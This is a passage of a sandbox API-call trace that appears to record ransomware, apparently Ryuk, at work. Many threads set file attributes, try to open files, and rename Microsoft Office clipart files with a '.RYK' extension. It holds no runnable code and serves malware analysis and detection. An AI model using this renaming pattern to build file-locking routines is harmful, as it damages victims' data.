	[0243.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2745
	os_tid = 0x3010

	[0237.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF", dwFileAttributes=0x80) returned 0
	[0237.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.848] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2746
	os_tid = 0x3014

	[0237.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF", dwFileAttributes=0x80) returned 0
	[0238.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2757
	os_tid = 0x3040

	[0237.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF", dwFileAttributes=0x80) returned 0
	[0237.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.335] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2758
	os_tid = 0x3044

	[0237.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF", dwFileAttributes=0x80) returned 0
	[0238.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2759
	os_tid = 0x3048

	[0237.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF", dwFileAttributes=0x80) returned 0
	[0238.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.506] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2760
	os_tid = 0x304c

	[0237.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF", dwFileAttributes=0x80) returned 0
	[0237.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2761
	os_tid = 0x3050

	[0237.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF", dwFileAttributes=0x80) returned 0
	[0243.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2762
	os_tid = 0x305c

	[0237.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG", dwFileAttributes=0x80) returned 0
	[0243.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2763
	os_tid = 0x3060

	[0237.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF", dwFileAttributes=0x80) returned 0
	[0243.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2764
	os_tid = 0x3064

	[0237.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF", dwFileAttributes=0x80) returned 0
	[0243.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2765
	os_tid = 0x3068

	[0237.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF", dwFileAttributes=0x80) returned 0
	[0243.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2766
	os_tid = 0x306c

	[0237.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF", dwFileAttributes=0x80) returned 0
	[0243.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2767
	os_tid = 0x3070

	[0237.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF", dwFileAttributes=0x80) returned 0
	[0243.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.435] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2768
	os_tid = 0x3074

	[0237.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF", dwFileAttributes=0x80) returned 0
	[0243.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2769
	os_tid = 0x3078

	[0237.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF", dwFileAttributes=0x80) returned 0
	[0243.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2770
	os_tid = 0x307c

	[0237.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF", dwFileAttributes=0x80) returned 0
	[0243.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2771
	os_tid = 0x3080

	[0237.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF", dwFileAttributes=0x80) returned 0
	[0243.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2772
	os_tid = 0x3084

	[0238.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF", dwFileAttributes=0x80) returned 0
	[0243.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2778
	os_tid = 0x30a0

	[0238.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF", dwFileAttributes=0x80) returned 0
	[0243.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.545] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2779
	os_tid = 0x30a4

	[0238.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF", dwFileAttributes=0x80) returned 0
	[0243.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.543] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2780
	os_tid = 0x30a8

	[0238.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF", dwFileAttributes=0x80) returned 0
	[0243.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.514] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2781
	os_tid = 0x30ac

	[0238.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF", dwFileAttributes=0x80) returned 0
	[0243.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2782
	os_tid = 0x30b0

	[0238.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF", dwFileAttributes=0x80) returned 0
	[0243.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.510] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2783
	os_tid = 0x30b4

	[0238.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF", dwFileAttributes=0x80) returned 0
	[0243.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2784
	os_tid = 0x30b8

	[0238.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG", dwFileAttributes=0x80) returned 0
	[0243.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.504] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2785
	os_tid = 0x30bc

	[0238.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG", dwFileAttributes=0x80) returned 0
	[0243.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
